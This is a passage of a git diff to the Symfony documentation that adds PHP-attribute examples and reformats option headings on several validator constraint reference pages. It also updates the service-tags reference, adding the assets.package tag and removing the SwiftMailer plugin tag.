 valid the values compatible with the PHP ``\IntlTimeZone::createTimeZone()`` method.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid timezone.``
 
@@ -132,8 +139,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-zone
-~~~~
+``zone``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``\DateTimeZone::ALL``
 
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index fd329bd38a3..dfb92943050 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -8,8 +8,6 @@ constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
-Options     - `payload`_
-            - :ref:`traverse <traverse-option>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Traverse`
 ==========  ===================================================================
 
@@ -89,6 +87,70 @@ that all have constraints on their properties.
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/BookCollection.php
+        namespace App\Entity;
+
+        use App\Entity\Book;
+        use Doctrine\Common\Collections\ArrayCollection;
+        use Doctrine\Common\Collections\Collection;
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[ORM\Entity]
+        #[Assert\Traverse]
+        class BookCollection implements \IteratorAggregate
+        {
+            /**
+             * @var string
+             */
+            #[ORM\Column]
+            #[Assert\NotBlank]
+            protected $name = '';
+
+            /**
+             * @var Collection|Book[]
+             */
+            #[ORM\ManyToMany(targetEntity: Book::class)] 
+            protected $books;
+
+            // some other properties
+
+            public function __construct()
+            {
+                $this->books = new ArrayCollection();
+            }
+
+            // ... setter for name, adder and remover for books
+
+            // the name can be validated by calling the getter
+            public function getName(): string
+            {
+                return $this->name;
+            }
+
+            /**
+             * @return \Generator|Book[] The books for a given author
+             */
+            public function getBooksForAuthor(Author $author): iterable
+            {
+                foreach ($this->books as $book) {
+                    if ($book->isAuthoredBy($author)) {
+                        yield $book;
+                    }
+                }
+            }
+
+            // neither the method above nor any other specific getter
+            // could be used to validated all nested books;
+            // this object needs to be traversed to call the iterator
+            public function getIterator()
+            {
+                return $this->books->getIterator();
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -146,7 +208,7 @@ The ``groups`` option is not available for this constraint.
 ``traverse``
 ~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 Instances of ``\Traversable`` are traversed by default, use this option to
 disable validating:
@@ -168,6 +230,21 @@ disable validating:
              // ...
          }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/BookCollection.php
+
+        // ... same as above
+
+        /**
+         * ...
+         */
+         #[Assert\Traverse(false)]
+         class BookCollection implements \IteratorAggregate
+         {
+             // ...
+         }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 1962dffa284..be6149f53aa 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -7,10 +7,6 @@ option to validate this.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - :ref:`type <reference-constraint-type-type>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Type`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 ==========  ===================================================================
@@ -18,7 +14,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 Basic Usage
 -----------
 
-This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
+This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``,
 ``firstName`` is of type ``string`` (using :phpfunction:`is_string` PHP function),
 ``age`` is an ``integer`` (using :phpfunction:`is_int` PHP function) and
 ``accessCode`` contains either only letters or only digits (using
@@ -36,9 +32,9 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
         class Author
         {
             /**
-             * @Assert\Type("Ramsey\Uuid\UuidInterface")
+             * @Assert\Type("Symfony\Component\Mime\Address")
              */
-            protected $id;
+            protected $emailAddress;
 
             /**
              * @Assert\Type("string")
@@ -59,13 +55,39 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
             protected $accessCode;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Mime\Address;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Type(Address::class)]
+            protected $emailAddress;
+
+            #[Assert\Type('string')]
+            protected $firstName;
+
+            #[Assert\Type(
+                type: 'integer',
+                message: 'The value {{ value }} is not a valid {{ type }}.',
+            )]
+            protected $age;
+
+            #[Assert\Type(type: ['alpha', 'digit'])]
+            protected $accessCode;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
         App\Entity\Author:
             properties:
-                id:
-                    - Type: Ramsey\Uuid\UuidInterface
+                emailAddress:
+                    - Type: Symfony\Component\Mime\Address
 
                 firstName:
                     - Type: string
@@ -88,9 +110,9 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
             <class name="App\Entity\Author">
-                <property name="id">
+                <property name="emailAddress">
                     <constraint name="Type">
-                        <option name="type">Ramsey\Uuid\UuidInterface</option>
+                        <option name="type">Symfony\Component\Mime\Address</option>
                     </constraint>
                 </property>
                 <property name="firstName">
@@ -120,7 +142,7 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
         // src/Entity/Author.php
         namespace App\Entity;
 
-        use Ramsey\Uuid\UuidInterface;
+        use Symfony\Component\Mime\Address;
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
@@ -128,7 +150,7 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addPropertyConstraint('id', new Assert\Type(UuidInterface::class));
+                $metadata->addPropertyConstraint('emailAddress', new Assert\Type(Address::class));
 
                 $metadata->addPropertyConstraint('firstName', new Assert\Type('string'));
 
@@ -143,13 +165,15 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
             }
         }
 
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
+
 Options
 -------
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be of type {{ type }}.``
 
@@ -173,8 +197,8 @@ Parameter        Description
 
 .. _reference-constraint-type-type:
 
-type
-~~~~
+``type``
+~~~~~~~~
 
 **type**: ``string`` or ``array`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 7bcae08e961..102e6486e41 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -9,10 +9,6 @@ Validates that a value is a valid `Universally Unique Lexicographically Sortable
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Ulid`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UlidValidator`
 ==========  ===================================================================
@@ -37,6 +33,19 @@ Basic Usage
             protected $identifier;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/File.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class File
+        {
+            #[Assert\Ulid]
+            protected $identifier;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 97cb6ff8602..f54885cbc2f 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -2,8 +2,9 @@ Unique
 ======
 
 Validates that all the elements of the given collection are unique (none of them
-is present more than once). Elements are compared strictly, so ``'7'`` and ``7``
-are considered different elements (a string and an integer, respectively).
+is present more than once). By default elements are compared strictly,
+so ``'7'`` and ``7`` are considered different elements (a string and an integer, respectively).
+If you want to apply any other comparison logic, use the `normalizer`_ option.
 
 .. seealso::
 
@@ -19,9 +20,6 @@ are considered different elements (a string and an integer, respectively).
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Unique`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UniqueValidator`
 ==========  ===================================================================
@@ -50,6 +48,19 @@ strings:
             protected $contactEmails;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\Unique]
+            protected $contactEmails;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -94,8 +105,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain only unique elements.``
 
@@ -107,7 +118,25 @@ You can use the following parameters in this message:
 =============================  ================================================
 Parameter                      Description
 =============================  ================================================
-``{{ value }}``                The repeated value
+``{{ value }}``                The current (invalid) value
 =============================  ================================================
 
+``normalizer``
+~~~~~~~~~~~~~~
+
+**type**: a `PHP callable`_ **default**: ``null``
+
+.. versionadded:: 5.3
+
+    The ``normalizer`` option was introduced in Symfony 5.3.
+
+This option defined the PHP callable applied to each element of the given
+collection before checking if the collection is valid.
+
+For example, you can pass the ``'trim'`` string to apply the :phpfunction:`trim`
+PHP function to each element of the collection in order to ignore leading and
+trailing whitespace during validation.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`PHP callable`: https://www.php.net/callable
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 2bf2533f57e..fc6fccb18f6 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -10,17 +10,13 @@ using an email address that already exists in the system.
     If you want to validate that all the elements of the collection are unique
     use the :doc:`Unique constraint </reference/constraints/Unique>`.
 
+.. note::
+
+    In order to use this constraint, you should have installed the
+    symfony/doctrine-bridge with Composer.
+
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
-Options     - `em`_
-            - `entityClass`_
-            - `errorPath`_
-            - `fields`_
-            - `groups`_
-            - `ignoreNull`_
-            - `message`_
-            - `payload`_
-            - `repositoryMethod`_
 Class       :class:`Symfony\\Bridge\\Doctrine\\Validator\\Constraints\\UniqueEntity`
 Validator   :class:`Symfony\\Bridge\\Doctrine\\Validator\\Constraints\\UniqueEntityValidator`
 ==========  ===================================================================
@@ -59,6 +55,27 @@ between all of the rows in your user table:
             protected $email;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Doctrine\ORM\Mapping as ORM;
+
+        // DON'T forget the following use statement!!!
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[ORM\Entity]
+        #[UniqueEntity('email')]
+        class User
+        {
+            #[ORM\Column(name: 'email', type: 'string', length: 255, unique: true)]
+            #[Assert\Email]
+            protected $email;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -135,8 +152,8 @@ the uniqueness. If it's left blank, the correct entity manager will be
 determined for this class. For that reason, this option should probably
 not need to be used.
 
-entityClass
-~~~~~~~~~~~
+``entityClass``
+~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -146,8 +163,8 @@ inheritance mapping, you need to execute the query in a different repository.
 Use this option to define the fully-qualified class name (FQCN) of the Doctrine
 entity associated with the repository you want to use.
 
-errorPath
-~~~~~~~~~
+``errorPath``
+~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: The name of the first field in `fields`_
 
@@ -188,6 +205,30 @@ Consider this example:
             public $port;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Service.php
+        namespace App\Entity;
+
+        use App\Entity\Host;
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+
+        #[ORM\Entity]
+        #[UniqueEntity(
+            fields: ['host', 'port'],
+            errorPath: 'port',
+            message: 'This port is already in use on that host.',
+        )]
+        class Service
+        {
+            #[ORM\ManyToOne(targetEntity: Host::class)]
+            public $host;
+
+            #[ORM\Column(type: 'integer')]
+            public $port;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -244,8 +285,8 @@ Consider this example:
 
 Now, the message would be bound to the ``port`` field with this configuration.
 
-fields
-~~~~~~
+``fields``
+~~~~~~~~~~
 
 **type**: ``array`` | ``string`` [:ref:`default option <validation-default-option>`]
 
@@ -261,8 +302,8 @@ each with a single field.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-ignoreNull
-~~~~~~~~~~
+``ignoreNull``
+~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -271,8 +312,8 @@ entities to have a ``null`` value for a field without failing validation.
 If set to ``false``, only one ``null`` value is allowed - if a second entity
 also has a ``null`` value, validation would fail.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is already used.``
 
@@ -300,8 +341,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-repositoryMethod
-~~~~~~~~~~~~~~~~
+``repositoryMethod``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``findBy``
 
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 5f4ac23245f..13fb590236b 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -5,12 +5,6 @@ Validates that a value is a valid URL string.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
-            - `protocols`_
-            - `relativeProtocol`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Url`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UrlValidator`
 ==========  ===================================================================
@@ -35,6 +29,19 @@ Basic Usage
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -85,8 +92,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid URL.``
 
@@ -124,6 +131,21 @@ Parameter        Description
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url(
+                message: 'The url {{ value }} is not a valid url',
+            )]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -172,8 +194,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-protocols
-~~~~~~~~~
+``protocols``
+~~~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``['http', 'https']``
 
@@ -200,6 +222,21 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url(
+                protocols: ['http', 'https', 'ftp'],
+            )]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -247,8 +284,8 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
             }
         }
 
-relativeProtocol
-~~~~~~~~~~~~~~~~
+``relativeProtocol``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -275,6 +312,21 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url(
+                relativeProtocol: true,
+            )]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 9655380bf95..c1632c3f7c7 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -12,16 +12,13 @@ password, but needs to enter their old password for security.
 
 .. note::
 
-    In order to use this constraints, you should have installed the
+    In order to use this constraint, you should have installed the
     symfony/security-core component with Composer.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-Class       :class:`Symfony\\Component\\Validator\\Constraints\\UserPassword`
-Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UserPasswordValidator`
+Class       :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPassword`
+Validator   :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPasswordValidator`
 ==========  ===================================================================
 
 Basic Usage
@@ -51,6 +48,21 @@ the user's current password:
             protected $oldPassword;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Form/Model/ChangePassword.php
+        namespace App\Form\Model;
+
+        use Symfony\Component\Security\Core\Validator\Constraints as SecurityAssert;
+
+        class ChangePassword
+        {
+            #[SecurityAssert\UserPassword(
+                message: 'Wrong value for your current password',
+            )]
+            protected $oldPassword;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 427a373f788..865be23e277 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -4,16 +4,10 @@ UUID
 Validates that a value is a valid `Universally unique identifier (UUID)`_ per `RFC 4122`_.
 By default, this will validate the format according to the RFC's guidelines, but this can
 be relaxed to accept non-standard UUIDs that other systems (like PostgreSQL) accept.
-UUID versions can also be restricted using a whitelist.
+UUID versions can also be restricted using a list of allowed versions.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
-            - `strict`_
-            - `versions`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Uuid`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UuidValidator`
 ==========  ===================================================================
@@ -38,6 +32,19 @@ Basic Usage
             protected $identifier;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/File.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class File
+        {
+            #[Assert\Uuid]
+            protected $identifier;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 1cb992128ac..ba4e789091c 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -7,9 +7,6 @@ an object and all sub-objects associated with it.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `payload`_
-            - `traverse`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Valid`
 ==========  ===================================================================
 
@@ -87,6 +84,40 @@ stores an ``Address`` instance in the ``$address`` property::
             protected $address;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Address.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Address
+        {
+            #[Assert\NotBlank]
+            protected $street;
+
+            #[Assert\NotBlank]
+            #[Assert\Length(max: 5)]
+            protected $zipCode;
+        }
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            #[Assert\Length(min: 4)]
+            protected $firstName;
+
+            #[Assert\NotBlank]
+            protected $lastName;
+
+            protected $address;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -196,6 +227,19 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the
             protected $address;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Valid]
+            protected $address;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -243,6 +287,11 @@ the validation of the ``Address`` fields failed.
     App\Entity\Author.address.zipCode:
         This value is too long. It should have 5 characters or less.
 
+.. tip::
+
+    If you also want to validate that the ``address`` property is an instance of
+    the ``App\Entity\Address`` class, add the :doc:`Type constraint </reference/constraints/Type>`.
+
 Options
 -------
 
@@ -250,8 +299,8 @@ Options
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-traverse
-~~~~~~~~
+``traverse``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/constraints/_normalizer-option.rst.inc b/reference/constraints/_normalizer-option.rst.inc
index 784f915ff95..dcbba1c2da8 100644
--- a/reference/constraints/_normalizer-option.rst.inc
+++ b/reference/constraints/_normalizer-option.rst.inc
@@ -1,5 +1,5 @@
-normalizer
-~~~~~~~~~~
+``normalizer``
+~~~~~~~~~~~~~~
 
 **type**: a `PHP callable`_ **default**: ``null``
 
diff --git a/reference/constraints/_null-values-are-valid.rst.inc b/reference/constraints/_null-values-are-valid.rst.inc
new file mode 100644
index 00000000000..49b6a54faad
--- /dev/null
+++ b/reference/constraints/_null-values-are-valid.rst.inc
@@ -0,0 +1,6 @@
+.. note::
+
+    As with most of the other constraints, ``null`` is
+    considered a valid value. This is to allow the use of optional values.
+    If the value is mandatory, a common solution is to combine this constraint
+    with :doc:`NotNull </reference/constraints/NotNull>`.
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 020e84cde65..9f8eb4b8c3f 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -22,11 +22,13 @@ String Constraints
 * :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Hostname </reference/constraints/Hostname>`
 * :doc:`Ip </reference/constraints/Ip>`
+* :doc:`Cidr </reference/constraints/Cidr>`
 * :doc:`Json </reference/constraints/Json>`
 * :doc:`Uuid </reference/constraints/Uuid>`
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
+* :doc:`CssColor </reference/constraints/CssColor>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 0aca3c91777..fd84a0ac70b 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -5,50 +5,63 @@ Built-in Symfony Service Tags
 :doc:`DependencyInjection component </components/dependency_injection>` to flag
 services that require special processing, like console commands or Twig extensions.
 
-These are the most common tags provided by Symfony components, but in your
-application there could be more tags available provided by third-party bundles:
-
-========================================  ========================================================================
-Tag Name                                  Usage
-========================================  ========================================================================
-`auto_alias`_                             Define aliases based on the value of container parameters
-`console.command`_                        Add a command
-`container.hot_path`_                     Add to list of always needed services
-`container.no_preload`_                   Remove a class from the list of classes preloaded by PHP
-`container.preload`_                      Add some class to the list of classes preloaded by PHP
-`controller.argument_value_resolver`_     Register a value resolver for controller arguments such as ``Request``
-`data_collector`_                         Create a class that collects custom data for the profiler
-`doctrine.event_listener`_                Add a Doctrine event listener
-`doctrine.event_subscriber`_              Add a Doctrine event subscriber
-`form.type`_                              Create a custom form field type
-`form.type_extension`_                    Create a custom "form extension"
-`form.type_guesser`_                      Add your own logic for "form type guessing"
-`kernel.cache_clearer`_                   Register your service to be called during the cache clearing process
-`kernel.cache_warmer`_                    Register your service to be called during the cache warming process
-`kernel.event_listener`_                  Listen to different events/hooks in Symfony
-`kernel.event_subscriber`_                To subscribe to a set of different events/hooks in Symfony
-`kernel.fragment_renderer`_               Add new HTTP content rendering strategies
-`kernel.reset`_                           Allows to clean up services between requests
-`mime.mime_type_guesser`_                 Add your own logic for guessing MIME types
-`monolog.logger`_                         Logging with a custom logging channel
-`monolog.processor`_                      Add a custom processor for logging
-`routing.loader`_                         Register a custom service that loads routes
-`routing.expression_language_provider`_   Register a provider for expression language functions in routing
-`security.expression_language_provider`_  Register a provider for expression language functions in security
-`security.voter`_                         Add a custom voter to Symfony's authorization logic
-`security.remember_me_aware`_             To allow remember me authentication
-`serializer.encoder`_                     Register a new encoder in the ``serializer`` service
-`serializer.normalizer`_                  Register a new normalizer in the ``serializer`` service
-`swiftmailer.default.plugin`_             Register a custom SwiftMailer Plugin
-`translation.loader`_                     Register a custom service that loads translations
-`translation.extractor`_                  Register a custom service that extracts translation messages from a file
-`translation.dumper`_                     Register a custom service that dumps translation messages
-`twig.extension`_                         Register a custom Twig Extension
-`twig.loader`_                            Register a custom service that loads Twig templates
-`twig.runtime`_                           Register a lazy-loaded Twig Extension
-`validator.constraint_validator`_         Create your own custom validation constraint
-`validator.initializer`_                  Register a service that initializes objects before validation
-========================================  ========================================================================
+This article shows the most common tags provided by Symfony components, but in
+your application there could be more tags available provided by third-party bundles.
+
+assets.package
+--------------
+
+**Purpose**: Add an asset package to the application
+
+.. versionadded:: 5.3
+
+    The ``assets.package`` tag was introduced in Symfony 5.3.
+
+This is an alternative way to declare an :ref:`asset package <asset-packages>`.
+The name of the package is set in this order:
+
+* first, the ``package`` attribute of the tag;
+* then, the value returned by the static method ``getDefaultPackageName()`` if defined;
+* finally, the service name.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        services:
+            App\Assets\AvatarPackage:
+                tags:
+                    - { name: assets.package, package: avatars }
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Assets\AvatarPackage">
+                    <tag name="assets.package" package="avatars"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        use App\Assets\AvatarPackage;
+
+        $container
+            ->register(AvatarPackage::class)
+            ->addTag('assets.package', ['package' => 'avatars'])
+        ;
+
+Now you can use the ``avatars`` package in your templates:
+
+.. code-block:: html+twig
+
+    <img src="{{ asset('...', 'avatars') }}">
 
 auto_alias
 ----------
@@ -316,8 +329,8 @@ is restarted):
 
         $container
             ->register(SomeService::class)
-            ->addTag('container.preload', ['class' => SomeClass::class)
-            ->addTag('container.preload', ['class' => OtherClass::class)
+            ->addTag('container.preload', ['class' => SomeClass::class])
+            ->addTag('container.preload', ['class' => OtherClass::class])
             // ...
         ;
 
@@ -940,28 +953,6 @@ The priorities of the default normalizers can be found in the
 :method:`Symfony\\Bundle\\FrameworkBundle\\DependencyInjection\\FrameworkExtension::registerSerializerConfiguration`
 method.
 
-swiftmailer.default.plugin
---------------------------
-
-**Purpose**: Register a custom SwiftMailer Plugin
-
-If you're using a custom SwiftMailer plugin (or want to create one), you
-can register it with SwiftMailer by creating a service for your plugin and
-tagging it with ``swiftmailer.default.plugin`` (it has no options).
-
-.. note::
-
-    ``default`` in this tag is the name of the mailer. If you have multiple
-    mailers configured or have changed the default mailer name for some
-    reason, you should change it to the name of your mailer in order to
-    use this tag.
-
-A SwiftMailer plugin must implement the ``Swift_Events_EventListener`` interface.
-For more information on plugins, see `SwiftMailer's Plugin Documentation`_.
-
-Several SwiftMailer plugins are core to Symfony and can be activated via
-different configuration. For details, see :doc:`/reference/configuration/swiftmailer`.
-
 .. _dic-tags-translation-loader:
 
 translation.loader
@@ -1030,7 +1021,7 @@ translation.extractor
 **Purpose**: To register a custom service that extracts messages from a
 file
 
-When executing the ``translation:update`` command, it uses extractors to
+When executing the ``translation:extract`` command, it uses extractors to
 extract translation messages from a file. By default, the Symfony Framework
 has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` and a
 :class:`Symfony\\Component\\Translation\\Extractor\\PhpExtractor`, which
@@ -1343,6 +1334,5 @@ For an example, see the ``DoctrineInitializer`` class inside the Doctrine
 Bridge.
 
 .. _`Twig's documentation`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
-.. _`SwiftMailer's Plugin Documentation`: https://swiftmailer.symfony.com/docs/plugins.html
 .. _`Twig Loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload
diff --git a/reference/events.rst b/reference/events.rst
index 900d40eb12c..75694ab1097 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -1,10 +1,11 @@
 Built-in Symfony Events
 =======================
 
